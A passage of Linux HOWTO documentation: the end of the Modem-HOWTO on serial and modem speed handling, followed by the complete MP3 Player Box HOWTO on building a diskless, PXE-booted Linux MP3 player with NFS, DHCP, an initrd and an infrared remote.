When the modem is first sent an init string, the modem detects the speed of the computer's serial port and sets it's modem-to-serial_port speed to this value. Now it can communicate with getty. The modem senses the serial speed by examining the "AT" at the beginning of the string. This is sometimes also called autobauding. For modern modems, this same modem-to-serial port speed is always retained, even after the modem connects to another modem and regardless of what the modem-to-modem speed is. But for our old modem this serial speed needs to be equal the modem-to-modem speed.

So now, for example, getty gets a CONNECT 2400 from the modem and switches the PC's serial port speed to 2400. The modem also switches its serial port speed to 2400. Now both ends of the modem serial cable are at 2400 and there is no speed mismatch. Then getty sends a login prompt out over the phone line thru the modems. The 2400 bps is now both the modem-to-modem speed and the modem-to-serial_port speed. Problem solved. Mgetty can do this by configuring it for "autobauding".

For dialing out, the same method is used, but now the communication software must handle it instead of getty.

Setting modem-to-modem speeds by the serial speed

Another way to switch modem-to-modem speed was by using a modem feature where the modem would set its modem-to-modem speed to be the same as the modem-to-serial port speed it detected. The Bn AT commands would enable this and determine what protocol to use for each speed. So with this enabled, setting the serial speed by the computer would also set the modem-to-modem speed to be the same. This should result in this modem being inflexible in any speed negotiations between the modems.

Manual bauding

Another (but cruder) way to solve the serial speed problem when dialing in to a site was to get the remote site to change it's modem-to-modem speed to match your serial port speed. It works like this: The person trying to login over a modem connection doesn't see any login prompt because of a speed mismatch. So the person trying to login hits a "break" key to send a break signal over the phone line (via modem) to getty on the remote machine. A break signal will always get through even if there is a speed mismatch in a serial line.

The remote getty gets this break signal and switches the remote's serial port to the next speed as specified in its getty configuration file. This new remote serial port speed causes the remote modem to switch to the same modem-to-modem speed as previously configured by the ATB command. Then the local modem would transmit the login prompt over the local's serial line at this speed. If one doesn't see a login prompt, then they hit the break key again and a new speed is tried. This continues until the remote getty finally gets the speed correct (equal to the serial speed set on the local PC) and a login prompt finally displays. Note that PC keyboards have no "break" key but dumb terminal keyboards did. Mgetty, agetty, and uugetty can do this obsolete break method and it's called "manual bauding".

Unsupported speeds

In Linux, there's a problem if the speed is set to a speed not supported by Linux's serial port (for example 7200 bps). You may dial out and connect at 7200 bps (both modem-to-modem and modem-to-serial_port speed) but you only see garbage since Linux doesn't support 7200 on the serial port. Once you connect there is no simple way to hang up because even the +++ escape sequence can't be sent to the modem over a 7200 baud interface.

Modern modems, speed buffering

To dial out by the antique method using some modern modems set &Q0 N0 and S17=5 (if you want 1200 bps). Some of the S17 settings vary with the make of modem. S17=0 is the default that connects the modern way at the highest speed supported.

Modern modems can use almost any serial port speed and it doesn't depend at all on modem-to-modem speed. To do this they employ speed buffering and flow control. Speed buffering means that modems have buffers so that there can be a difference between the modem-to-modem speed and the modem-to-serial_port speed. If the flow entering the modem is faster than the flow exiting it, the excess flow is simply stored in a buffer in the modem. Then to prevent the buffer from overflowing, the modem sends a flow control signal to stop the input flow to the modem. This is true for either direction of flow. See Flow Control for more details.

26.8 Before AT Commands

Hayes introduced the AT command set and other modem manufacturers adopted it as a standard. Before the AT commands, many modems used dip switches to configure the modem. Another command set is the CCITT V.25bis command set. Some modems supported both CCITT and AT commands. The CCITT V.25bis also specifies how Synchronous modem-to-serial_port communication is to take place using either the ASCII or 8-bit EBCDIC character sets.

26.9 Data Compression and Error Correction

MNP 2, 3, or 4 were used for error correction. MNP 5 was compression. Modern modems generally use V42 (error correction) and V42bis (compression). Many modems support both MNP and V42.

END OF Modem-HOWTO


MP3 Player Box HOWTO

Konrad Rzeszutek conradus@iname.com

v1.1, 2001-04-19

This document describes how to build, configure, install, and use a custom MP3 player box. It lists the necessary hardware and answers a number of frequently asked questions.

1. Introduction

  • 1.1 Acknowledgments
  • 1.2 Copyright
  • 1.3 Feedback

2. MP3 box

  • 2.1 Design

3. Necessary hardware

4. Server side software

  • 4.1 NFS server installation.
  • 4.2 DHCPd server installation.
  • 4.3 PXE daemon

5. Client side software

  • 5.1 Linux kernel
  • 5.2 Linux filesystem
  • 5.3 Configuring NBP (Network Boot Program).
  • 5.4 Configuring startup scripts.
  • 5.5 Configuring the infrared receiver program.

6. Plexiglass box

7. Answers to Frequently Asked Questions

  • 7.1 Can't compile the kernel. It says: "2nd: No such file or directory"
  • 7.2 My remote doesn't work with ARCaMP
  • 7.3 The Linux kernel can't mount the filesystem.
  • 7.4 How do I bend plexiglass?
  • 7.5 The system doesn't boot up after I take the video card out.

8. References

  • 8.1 Remote control programs


MP3 Player Box HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is a build guide for a custom MP3 box, which has no harddrive, floppy, or video card and boots from the network. It also fetches the songs from the network. It is intended as template, quick reference, and a template to building a custom MP3 box. Frequently asked questions related to MP3 box building, its usage, problems, and references are given.

1.1 Acknowledgments

Much of this information came from authors private ideas and source files covered under GNU licenses. Huge thanks goes to Tom Jones (for helping me design the box), Ryan Defelic (for his MP3 box being a alpha-prototype), Steve Maroney (for asking me many questions), the LRP project, and of course The Penguin (which sits on his shrine next to my network closet :=) )

1.2 Copyright

Copyright (c) 2001 by Konrad Rzeszutek

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.
  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.
  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.3 Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any questions, corrections, or comments, please send them to me, conradus@iname.com, and I will try to incorporate them in the next revision.


MP3 Player Box HOWTO: MP3 box

 Next Previous Contents

2. MP3 box

The sole and only reason why you, the reader, is engulfing yourself in reading this material along with a nice warm container full with java, is so that you:

  • Wish to make a self-supportive box with only four cables sticking out of it: an RJ-45 network cable, a power cable, and two RCA cables (or just one 1/8 mini stereo plug).
  • Have all your mp3's on a big-server, while this MP3-box would fetch the files from the server.
  • Have no floppy driver, no video card, nor any harddrive in the MP3-box. Just a power supply, sound card, network card, memory, cpu, and a serial infrared receiver.
  • Be the envy of your friends :=)
  • Play your mp3's using your remote without having to turn on your workstation.

2.1 Design

Its important to keep certain things in mind:

  • Size of the computer component (I was tempted to use PC104 boards, but they were to expensive). Height of ISA/PCI cards (so that the box doesn't look like a baby-AT case).
  • The appealing side of the box - does it look like a square rectangle, pyramid, triangle, or something even more weird?
  • Paint. Do you want see-through box with flashing lights inside, inconspicuous black box, or chrome looking?
  • Cost. The absolute minimum (taking into consideration that you, the reader, has no spare computer parts) is about $70 (excluding tax, shipping, etc)
  • KISS (Keep It Simple and Stupid) - take everything that's unnecessary and get rid of it (parallel port, modem card, video card, etc).

The idea behind this box is to separate tasks - the MP3-box can only play the mp3's from a server, while you, the reader, can freely add more files to your big-end server. Thus, the MPEG-box wouldn't need a harddrive, nor floppy drive. It would boot the operating system from the network (from the same server where the mp3 files are located).


MP3 Player Box HOWTO: Necessary hardware

 Next Previous Contents

3. Necessary hardware

The software running the decoding process (mpg123) can happily work on a 486DX/66 or higher without any constraints. 16MB of RAM ought to do fine as well. Any sound card that is supported under Linux should work. The following list includes all the hardware I used:

  • Pentium 120 downclocked to 90 Mhz (I needed to lower the temperature of the CPU so that I wouldn't have to use a fan - just a heatsink). Cost: $5.
  • Unknown brand-name motherboard (AT-style, 4 PCI, 3 ISA, 4x DIMM, Award BIOS) - if you are going to get rid of the video card (after you have configured the machine) make sure you change the display from CGA/EGA (or VGA) to None. Cost: $10.
  • Small powersupply (50 or less watts would do). I got one from a Compaq computer (the wiring on the powersupply didn't match the AT P8/P9 connector standards, thus I had to match the cables and rewire them to fit my AT motherboard). You could probably use any powersupply as long as it gives you 12VDC and ground. You won't need the 5VDC unless you have a keyboard, mouse, or floppy connected. Cost: FREE (found the computer in a dumpster).
  • Intel EtherExpress Pro 10/100 Management Network Card. Any network card will do as long as it has PXE or BOOTP functionality - those things are also known as network booting. Without this kind of network functionality, you would need to attach a harddrive/zip-drive/floppy-drive to boot the operating system from. Cost: $15 (Intel had a promotion and they were selling two for $30).
  • Sound card. I got a Crystal CS424x card b/c its height was pretty small compared to other sound cards. Cost: $15.
  • Remote control. This is the difficult choice - if you pick a Packard Bell remote, you will end up pulling your hair out. I got a Logitech AST Remote. Before you get a remote, you ought to check for software that will work with your remote. Cost: $5.
  • Cabling - stereo RCA cables from RadioShack. Network cable and a jack from local distributor of electronic components. Cost: $9.
  • Small 8mm screws to screw the custom box together. Picked up at Home Depot along with plexiglass. Cost: $2.
  • Plexiglass - used to construct the custom box. Bending of the box is pretty easy, as long you have a torch and don't burn your own eyelashes with it. Picked it up at Home Depot. Cost: $10.
  • Black paint so the box would look inconspicuous and color-match my stereo rack. Cost: $2.
Total cost: $75.


MP3 Player Box HOWTO: Server side software

 Next Previous Contents

4. Server side software

Before you proceed with installing the server-software, it would be beneficial to review the following HOWTO's (in the listed order):

  • Net-HOWTO
  • Ethernet-HOWTO
  • Diskless-HOWTO
  • NFS-HOWTO

Particularly, the Diskless-HOWTO contains a wealth of information useful for this project.

The required software are mostly already installed on a stock Linux distribution, but some might be missing. The ones that are usually not found (dhcpd, pxe, etc) are included in the mpeg-box-project.tgz file.

  • NFS server. Also called nfs-server or just nfs
  • TFTP server. Called tftpd.
  • DHCPd server. There are two versions. The latest one supports natively PXE extension (which my network card uses), but doesn't support menu based booting - something I needed during the development. I'm using v2.0 and for PXE extensions I'm using an DHCP proxy (all these strange terms will be explained later on).
  • DHCP Proxy server - PXE. Not needed if you are using the latest version of DHCP. The package is called pxe. Make sure you pick the latest one, or just use the one that's included in my file.

4.1 NFS server installation.

I presume you have read the NFS-HOWTO . If you haven't, do yourself a favor and pick it up. Most of these information are straight from that HOWTO.

Before you start setting NFS, make sure you have nfs-utils or nfs-server package installed. If you don't have them, the dhcpd-2.0pl2 source code is included in the mpeg-box-project.tgz file.

  • Extract the file -
    tar -zxvf mpeg-box-project.tgz
  • go into 1st Step - configuring server/01 - dhcpd.
    cd "1st Step - configuring server/01 - dhcp"
  • From there run:
    ./configure
make
make install

Setting up the server will be done in two steps: Setting up the configuration files for NFS, and then starting the NFS services.

Setting up the Configuration Files

There are three main configuration files you will need to edit to set up an NFS server: /etc/exports, /etc/hosts.allow, and /etc/hosts.deny. Strictly speaking, you only need to edit /etc/exports to get NFS to work, but you would be left with an extremely insecure setup. You may also need to edit your startup scripts.

/etc/exports

This file contains a list of entries; each entry indicates a volume that is shared and how it is shared. Check the man pages (man exports) for a complete description of all the setup options for the file, although the description here will probably satisfy most people's needs.

An entry in /etc/exports will typically look like this:

directory machine1(option11,option12) machine2(option21,option22)

where

directory

the directory that you want to share. It may be an entire volume though it need not be. If you share a directory, then all directories under it within the same file system will be shared as well. For example it might be: /exports

machine1 and machine2

client machines that will have access to the directory. The machines may be listed by their IP address or their DNS address (e.g., machine.company.com or 192.168.0.8). Using IP addresses is more reliable and more secure.

optionxx

the option listing for each machine will describe what kind of access that machine will have. Important options are:

  • ro: The directory is shared read only; the client machine will not be able to write to it. This is the default.
  • rw: The client machine will have read and write access to the directory.
  • and many more ...

For our MP3-box, we just need to read-only access to the directory with mp3's. Suppose the MP3-box IP will be 10.0.0.8 and the directory with our music files is /exports/media. The /etc/exports would look like this:

/exports/media     10.0.0.8(ro)

/etc/hosts.allow and /etc/hosts.deny

These two files specify which computers on the network can use services on your machine. Each line of the file is an entry listing a service and a set of machines. When the server gets a request from a machine, it does the following:

  • It first checks hosts.allow to see if the machine matches a description listed in there. If it does, then the machine is allowed access.
  • f the machine does not match an entry in hosts.allow, the server then checks hosts.deny to see if the client matches a listing in there. If it does then the machine is denied access.
  • If the client matches no listings in either file, then it is allowed access.

In general, it is a good idea with NFS (as with most internet services) to explicitly deny access to hosts that you don't need to allow access to.

The first step in doing this is to add the following entry to /etc/hosts.deny:

   portmap:ALL

Next, we need to add an entry to hosts.allow to give any hosts access that we want to have access. (If we just leave the above lines in hosts.deny then nobody will have access to NFS.) Entries in hosts.allow follow the format:

    service: host [or network/netmask] , host [or network/netmask]
Here, host is IP address of a potential client; it may be possible in some versions to use the DNS name of the host, but it is strongly deprecated.

Suppose we have the setup above and we just want to allow access to huh.com and arakis.dune.com, and suppose that the IP addresses of these machines are 10.0.0.8 and.10.0.0.1, respectively. We could add the following entry to /etc/hosts.allow:

   portmap: 10.0.0.8, 10.0.0.1
For recent nfs-utils versions, we would also add the following (again, these entries are harmless even if they are not supported):

    lockd:  10.0.0.8, 10.0.0.1
    rquotad: 10.0.0.8, 10.0.0.1
    mountd:  10.0.0.8, 10.0.0.1
    statd:  10.0.0.8, 10.0.0.1

Starting the NFS server.

The shell scripts which start the NFS server are usually in /etc/init.d or /etc/rc.d. Depending on your Linux distribution, you either need to run: netconfig, setup (RedHat) ; YaSt2(SuSe); turbo-config (TurboLinux); or you are stuck editing /etc/init.d/nfs-server files manually. If you run those programs, look for options that list NFS or nfs-serveR and start those services.

4.2 DHCPd server installation.

DHCP (Dynamic Host Configuration Protocol) is a protocol for computers to find out their IP address, gateway settings, netmask, and a lot more. Its a quite nice off-load for the system administrator. The reason why you want to use it is because when the MP3-box comes up, as said before, it doesn't have a harddrive, nor floppy drive - therefore it can't boot an operating system. But with a card that supports PXE, the following happens:

  • The network card starts sending a DHCP request to the network
  • The DHCP server offers a IP for the MP3-box.
  • The MP3-box gets the IP address and then procceds to send PXE extension DHCP request - an extension to the DHCP, which is not covered in the RFC.
  • The PXE extension daemon issues the NBP (Network Boot Program) to the card on the MP3-box.
  • The NBP contacts the TFTP server and downloads the Linux kernel, and the initrd.gz file. After that it runs the Linux kernel.
  • The Linux kernel does what it has been programmed to.
Without the IP address, the system wouldn't be able to get the NBP, neither the Linux kernel.

Setting up the DHCP daemon is a two stage process - installing the binaries, and setting up the configuration file for DHCP.

Installing DHCPd

The version of DHCP I'm using comes from Internet Software Consortium, the version is 2.0. You might already have the binaries installed, if that's the case - skip this section.

The source code is 1st Step - configuring server/01 - dhcpd/dhcp-2.0pl2, go into that directory and issue the following commands:

./configure
make
make install

The shell scripts which start the DHCP server are usually in /etc/init.d or /etc/rc.d. Depending on your Linux distribution, you either need to run: netconfig, setup (RedHat) ; YaSt2(SuSe); turbo-config (TurboLinux); or you are stuck editing /etc/init.d/dhcpd files manually.

Setting up the configuration files for DHCPd

The most important part of the /etc/dhcpd.conf file are the option fields and the host field. For the v2.0 of ISC-dhcpd its necessary to specify

option dhcp-class-identifier "PXEClient";
option vendor-encapsulated-options ff;
This will enable the DHCP server to recognize the network cards with PXE as valid. Make sure you also have the host section filled out. For example, for the MP3-box called swallow.eoh the host entry would look like:
host swallow {
        hardware ethernet 00:90:27:c1:dc:db;
        fixed-address swallow.eoh;
}

This is allow the DHCP server to give the box with that MAC address (which the network card displays during boot-up), the IP address associated with the host swallow. How is the host associated with 10.0.0.8 - that's the job of DNS server (which you hopefully have installed). If you don't have DNS, you can use flat-host resolution and add into /etc/hosts the following line (replace the 00:90:27. .. with your MAC address):

10.0.0.8       swallow.eoh    swallow

Back to the program ...

Following is my /etc/dhcpd.conf file:

option domain-name "eoh";
option dhcp-class-identifier "PXEClient";
option vendor-encapsulated-options ff;

option subnet-mask 255.255.255.0;
default-lease-time 600;
max-lease-time 7200;

subnet 10.0.0.0 netmask 255.255.255.0 {
        range 10.0.0.20 10.0.0.40;
}
host swallow {
        hardware ethernet 00:90:27:c1:dc:db;
        fixed-address swallow.eoh;
}

You can check your DHCP server by booting up a Windows workstation, and change its IP address to Obtain an IP address automatically.

4.3 PXE daemon

PXE is standard for remote booting. The following information is taken from 1st Step - configuring server/02 - pxe/pxe-README:

PXE is an extension to DHCP and also method of remotely booting. The specs for PXE can be found at ftp://download.intel.com/ial/wfm/pxespec.pdf. The PXE daemon provides two capabilities: proxyDHCP and PXE Bootserver. The PXE daemon can be set up to provide either or obth of the capabilities. Both capabilities are required.

proxyDHCP works in parallel with DHCP and provides the booting client with a remote boot configuration options. ProxyDHCP provides the PXE client(s) with the following information: remote boot prompt with optional timeout, remote boot menu and PXE Bootserver discovery options.

The PXE Bootserver is a capability provided by the PXE daemon. The PXE Bootserver is the capability that provides the booting client with boot images for a particular boot environment.

PXE Bootserver serves up requested NBPs (Network Boot Programs) to PXE clients. PXE Clients locate PXE Bootservers using discovery information provided to the client by proxyDHCP. The discovery method used by the PXE client (multicast, broadcast or unicast) and the list of available bootserver types is controlled by proxyDHCP. PXE Bootservers always listen for all three types of discovery requests and will respond to all valid requests.

Installing PXE software.

If you have RedHat or SuSE, pxe is available as an RPM - download it and install it. Unfortunately, you are still going to need the sources - you will have to recompile the NBP (Network Boot Program).

All the paths mentioned below refer to the contents of the mpeg-box-project.tgz file, which has all the source files and configuration files listed below.

The source file for PXE server are located in

1st Step - configuring server/02 - pxe/pxe/pxe-linux/server.

If you don't have PXE installed, just run: make and make install. The files will be installed in /usr/local. After that you should copy the 1st Step - configuring server/02 - pxe/pxe/pxe.init file to /etc/rc.d or /etc/init.d. After that go into your /etc/rc2.d and link /etc/init.d/pxe.init file to S99pxe. The command is:

ln -s ../init.d/pxe.init S99pxe
If you have no clue what I'm talking about, just enter
pxe
that will start the PXE daemon (but do that after you have read the next section)

Setting up the PXE daemon.

To get the PXE daemon completely working, its necessary to setup a couple of configuration files/directories.

  • pxe.conf which is located in 1st Step - configuring server/03 - etc files should be copied to /etc. The differences between this file and the one that comes with PXE software is small - the order of boot programs is changed. The original pxe.conf is located in 1st Step - configuring server/02 - pxe/pxe/pxe-linux/server/services.
  • mtftpd.conf which lists multicast addresses and the files associated with it. Its better to leave the file alone. Copy it from 1st Step - configuring server/03 - etc files into /etc directory.
  • The file /etc/inetd.conf needs to be modified so that it will include support for TFTP (in case MTFTP doesn't work) and MTFTP. The lines that should be added are:
    mtftp   dgram   udp     wait    root    /usr/sbin/tcpd in.mtftpd /tftpboot
tftp    dgram   udp     wait    nobody  /usr/sbin/tcpd in.tftpd
  • Add into /etc/services:
    mtftp           1759/udp
pxe             67/udp
pxe             4011/udp
    This will your life a little simpler when you are going to debug network problems.
  • The last thing will be to create the /tftpboot directory with all the files in it. Do the following command:
    mkdir -p /tftpboot/X86PC/UNDI/BStrap
mkdir -p /tftpboot/X86PC/UNDI/linux-install
    The copy the bstrap.0 file (which is located in 1st Step - configuring server/02 - pxe/pxe/pxe-linux/server/services into /tftpboot/X86PC/UNDI/BStrap. Do the same thing for linux.0, but copy it into /tftpboot/X86PC/UNDI/linux-install. If you don't like any of these patchs, modify the /etc/pxe.conf, /etc/mtftpd.conf accordingly.

After all these steps, make sure you have a DHCP daemon running and working (look in the section about DHCP to find out how). Start the pxe daemon by typing

pxe
The debug information for PXE is piped into /PxeServiceLog.txt. To turn this debug-feature off, edit the /etc/pxe.conf - search for DebugOutToFile.

Turn on your system with a network card that supports PXE. You should see the card getting an IP from the DHCP server, and then showing up a menu. If that's the case, you have successfully configured the server system, and its time to get configure the Linux kernel and initrd file for the MP3-box in the next section.


MP3 Player Box HOWTO: Client side software

 Next Previous Contents

5. Client side software

The name of this section is rather misleading - since we are booting the system remotly, all the software is not located on the client, but rather on the server. The software, which includes the Linux kernel and a small Linux distribution is under 2MB of space. It could probably be squished into 1.44MB (so that it would fit onto a floppy) but its more fun to remotly boot the MP3-box, and not use floppies. The Linux kernel used was 2.2.16. Any versions can be used. The mini-distribution used is LRP - it normally fits on a 1.44 floppy compressed. The only thing that was left from the original mini-distribution is the binaries - the rest was changed by me.

5.1 Linux kernel

Making a new kernel for the MP3-box is a necessity. Your sound card will inevitable different than mine, and you might have a different network card.

The Linux kernel tree that I used is supplied. Look in:

2nd Step - configuring client/01 - linux kernel/linux-2.2.16

and type:

cd "2nd Step - configuring client/01 - linux kernel/linux-2.2.16"
make menuconfig
and choose the right drivers. If you want to use my startup scripts for the mini-linux distribution, make all the drivers modularized (network, filesystem, sound card).

After successfully choosing your drivers, make the kernel. Copy your new kernel 2nd Step - configuring client/01 - linux kernel/linux-2.2.16/arch/i386/boot/bzImage into your tftpboot directory as linux.1 (not as linux.0!)

cd "2nd Step - configuring client/01 - linux kernel/linux-2.2.16"
make bzImage
cp arch/i386/boot/bzImage /tftpboot/X86PC/UNDI/linux-install

Presumably, you configured your network, sound drivers as modules. It will be necessary to compile them and put them in temporary directory (until you get the the mini-distribution setup). To compile and install in temporary directory do:

export INSTALL_MOD_PATH=/tmp
make modules;make modules_install
The modules for the kernel will be located in /tmp/lib/modules/2.2.16. Remember that path.

5.2 Linux filesystem

We need to make a filesystem that the Network Boot Program can download from the server, and pass to the kernel. The maximum size of such filesystem is limited to the amount of memory in the machine, but generally it shouldn't be bigger than 4MB.

Since we want to boot the MP3-box from the network, and have no media storage device on the MP3-box, the filesystem cannot be on a harddrive, floppy drive, nor ZIP drive. Linux provides a facility for that called Initial RAM Disk (initrd) - its a file, which actually is a ext2 filesystem embedded in a file.

Creating initrd filesystem.

To understand why we need to create a INITial Ram Disk filesystem, its necessary to understand how Linux boots up.

  • After the kernel is finished loading itself, it starts executing itself.
  • The kernel converts initrd (which the boot loader loads into memory as linux.2) into a "normal" RAM disk.
  • When its done, it mounts the device specified in root_dev (which is changed by the Network Boot Program). This usually points to /dev/ram0 or /dev/ram1.
  • /linuxrc is executed.
  • When linuxrc terminates, the "real" root file system is mounted (which can be the RAM disk)
  • /sbin/init is invoked.

For more info, man initrd.

Creating initrd fs.

The initrd - is a initial ram disk embedded inside a file. Creation of such a file is quite straightforward (you have to be root to use losetup).

dd if=/dev/zero of=/root/initrd count=4096 bs=1024
losetup /dev/loop0 /root/initrd
mke2fs /dev/loop0
losetup -d /dev/loop0
file /root/initrd
This creates a initrd file 4MB big. The last command should say: Linux/i386 ext2 filesystem. This is the file that we eventually use to boot the Linux OS on the MP3-box.

Mounting initrd fs.

To use the initrd for something its necessary to make a mount-point a mount the initrd file:

mkdir /data
mount /root/initrd /data -o loop
Now you freely copy files back and forth onto the 4MB initrd file, which is mounted under /data.

Copying LRP filesystem to initrd fs.

Its time to put something meaningful on the 4MB initrd. We need to copy a small linux distribution onto the initrd, otherwise we can't use it boot the MP3-box.

cd "2nd Step - configuring client/02 - the filesystem"
tar -cf - * | (cd /data; tar -xvf - )

Copying custom modules,

Do you remember the modules that we compiled in the previous section?

cp -Rf /tmp/lib/modules/2.2.16/* ./data/lib/modules/2.2.16
sync
df -h
df -h serves only to show you how much space you have left on the filesystem.

Preparing the initrd fs for NBP.

Using the initrd file generally means we have to unmount the file, gzip it and copy it into the tftpboot directory.

umount /data
sync
gzip -c9 /root/initrd  > /tftpboot/X86PC/UNDI/linux-install/linux.2
This will unmount the initrd, and compress it into linux.2 file (which is what the NBP will look for and download).

Conclusion

That's basicly the method of designing and using an initrd filesystem. One thing to keep in mind - the initrd should always be compressed when deployed.

5.3 Configuring NBP (Network Boot Program).

After you have copied your initrd file and tried to boot up the workstation, you found out that the kernel complains about not being able to mount the root partition. The problem lies in the NBP that is supplied with PXE - it was compiled for RedHat type initrd images, and therefore does some changes to the kernel.

  • When the NBP is finished downloading the kernel, it sets the root_dev environment to whatever was compiled inside the NBP. By default, that is 0101, which is /dev/ram1 (look at its major, minor).
  • NBP passes the environment to kernel (in and in turn overwriting whatever settings the user supplied to the kernel using rdev) and starts it.
  • The kernel happily executes and tries to mount a filesystem from /dev/ram1>, while the initrd image sits in /dev/ram0.
  • The kernel hangs.
The solution is to recompile the NBP with the right root_flags. Look in

1st Step - configuring server/02 - pxe/pxe/pxe-linux/nbp.linux/prepare.c. Line 212 lists the hexadecimal address. Change it to 0x0100 - that way the kernel will mount /dev/ram0 and actually find a initrd filesystem.

5.4 Configuring startup scripts.

When the kernel completes loading the initrd into memory and mounts it as a filesystem, then /sbin/init is executed, which handles the rest of starting the operating system.

  • init reads in /etc/inittab - which lists which scripts must be executed depending on the computer's state.
  • It starts executing the boot-time configuration script /etc/rc.d/rc.boot.
  • rc.boot setups BusyBox and POSIX links, configures all the modules - sound, network, and filesystem. If you are using your own modules, you must edit this file and change the settings.
  • Then init changes the runlevel to its default - 2, which result in running /etc/rc.d/rc.multi.
  • rc.multi setups the network card (configures its IP), mounts the NFS server and starts the audio-subsystem (/etc/rc.d/rc.audio). It gets all the custom configuration (where is the NFS server. its IP, etc) from /etc/rc.conf.
  • rc.audio configures the sound, creates playlists, and starts the ARCamp program (which listens to the remote and runs/kills mpg123).

The scripts were made as simple as possible. The files you ought to look into and alter are:

  • /etc/rc.conf - has the NFS IP, the mountpoint, and the client's IP
  • /etc/rc.d/rc.boot - loads the network module, and the filesystem module.
  • /etc/rc.d/rc.audio - loads the sound card module.

5.5 Configuring the infrared receiver program.

The Logitech Remote I obtained was quite easy to get working with Linux. The software used in Linux was ARCaMP (AST Remote control MP3 Player). The software basicly listens at the serial port for some predefined characters, and based on them, launches mpg123.

Getting scan-codes.

The source code is included in 2nd Step - configuring client/99 - the sources/ARCaMP. It differs from the original code - the key mappings are different and the default playlist has been altered. If you find out that the program works with your remote, but the buttons -> action mappings are screwed up, then edit the defs.h to match your scan-codes with your remote. Getting the scan-codes is quite easy:

cat /dev/ttyS1 | od -t x2
0000000 2000 7f10 7f10 7f10 7f10 7f10 7f10 7f10
0000020 7f10 7f10 202a 7f10 7f10 7f10 7f10 7f10
0000040 7f10 7f10 7f10 7f10 7f10 7f10 202a 7f10
0000060 7f10 7f10 7f10 7f10 7f10 7f10 7f10 202a
0000100 0f0f 0f0f 0f0f 0f0f 0f0f 2a0f 0f20 0f0f
0000120 0f0f 0f0f 0f0f 2a0f 0f20 0f0f 0f0f 0f0f
0000140 0f0f 0f0f 202a 1212 1212 1212 1212 2a12
0000160 1220 1212 1212 1212 1212 2a12 1220 1212
0000200 1212 1212 1212 1212 1212 202a 1212 1212
/dev/ttyS1 is the serial port for my infrared receiver, yours might be different. od -t x2 converts the output to hexadecimal.

The first eight bytes are just offset locations - ignore them. If you look closely at the strings it becomes clear that whenever you hit a the same button on the remote, you get similar looking strings of numbers. The first three rows are actually the fastforward button being hit three times. The repetition of ox20, ox2A, 0x7F, and 0x10 suggest that 0x20 and/or 9x2A are remote-id number, while 0x7F or 0x10 are codes for fastforward.

The next three rows are for the play button (the scancode is 0x0F). And as you can see, the repetition of 0x20, 0x2A suggest remote-id again.

The last three rows are for the stop button - 0x12.

Compiling ARCaMP.

Just run make and copy the arcamp file into /data/bin directory - assuming you still have the initrd filesystem mounted under /data.

Different remote.

If you have different remote, and the scancode-match procedure doesn't work, then you won't be able to use ARCaMP. Instead you will have to search for some software under Linux that will support your remote. Look at the Remote control programs section at the end of the document for some URLs.

Just keep in mind, that you will have to modify /etc/rc.d/rc.audio (on the initrd fs) so that it will spawn a different program then ARCaMP.

mpg123

The program is staticly compiled and put in /bin (on the initrd) directory. If you find it necessary to get a more recent version , recompile it with -static flag and put in /bin.


MP3 Player Box HOWTO: Plexiglass box

 Next Previous Contents

6. Plexiglass box

The box can be made of wood, metal or anything else. But the most simplest way of building ones box is to use plexiglass. Plexiglass under heat - from a torch, kitchen stove - will warm up and is susceptible to bending. The disadvantage of plexiglass is that its can carry electric charge - thus its unadvisable to put electronic components on the plastic - use those small plastic pegs for motherboards - glue them on the plexiglass.

The design of the box depends on your parts. If you have a small motherboard, low-profile sound card and network card, you can make the box 4"-5" tall. The placement of motherboard, power supply, and the infrared serial receiver all depends on your imagination.

In the case of my box, the minimum I could get was 6" height (the motherboard + plastic pegs + ISA Sound card). Therefore I decided on building a wide box to compensate for the height. The shape of the box is semi-pyramid.

During the design, heat and air circulation has to be taken into account. If you wish to make your system noise-less (without fans), make the box big, and drill holes on sides, and on the top so that hot air can raise and escape. You also might consider downclocking the CPU - that way you can use a heatsink instead of CPU fan. Another alternative is to drill holes one side of the box, and put a fan on other side, and have the CPU in the middle of the air-flow. Take also in consideration your power supply. The small power supplies (83W, 40W) don't exhaust too much heat and can be safely left without a fan. Unfortunately, the bigger they get the more heat they exhaust - and the heat has to be drawn out.

In my case I decided to use one fan to cool down the power supply and CPU. The fan is mounted on top of the power supply. The power supply has exhaust vents on top, from which heat escapes. The CPU is located 20cm away from the fan, under 45" angle - also not that far away from the CPU I drilled some holes to suck in fresh air. What essentially happens is that outside air is sucked in thru the holes, passes over the CPU and then combined with the air from the power supply is sucked out by a fan. For pictures: check mpeg-box pictures.


MP3 Player Box HOWTO: Answers to Frequently Asked Questions

 Next Previous Contents

7. Answers to Frequently Asked Questions

7.1 Can't compile the kernel. It says: "2nd: No such file or directory"

Move the whole linux-2.2.16 directory somewhere else where the directory-name doesn't have spaces in itself.

7.2 My remote doesn't work with ARCaMP

Tough! :P

You will have to look for some other software that will support your remote control. Look in the Remote programs URL section.

7.3 The Linux kernel can't mount the filesystem.

Look in Configuring - NBP Network Boot Program

7.4 How do I bend plexiglass?

Get a torch and heat the opposite side of the plexiglass that you are going to bend. You should move the torch back and forth, not to fast, and not too slow. One minute - two minutes should be fine, if you warm up it too much, bubbles will appear. After you have heated the material, put in on table and slowly bend it. Keep it under the desired angle up to a minute.

7.5 The system doesn't boot up after I take the video card out.

Go into the BIOS settings and change the Video Mode (it might be called something else on your system) and change from CGA/EGA or VGA to None.


MP3 Player Box HOWTO: References

 Next Previous Contents

8. References

8.1 Remote control programs

  • IRC is a package that supports receiving and sending IR signals of the most common IR remote controls. It contains a daemon that decodes and sends IR signals, a mouse daemon that translates IR signals to mouse movements, and a couple of user programs that allow to control your computer with a remote control. www.lirc.org
  • Cajun is a program that allows you to turn any computer (>75mhz) into a massive audio jukebox for your car or home. It uses the matrix-orbital serial display and supports the IRman infra-red remote control interface. Soundcard output is delivered to your (car or home) stereo for amplification. The software supports a hotlist and shuffle mode. cajun.sourceforge.net
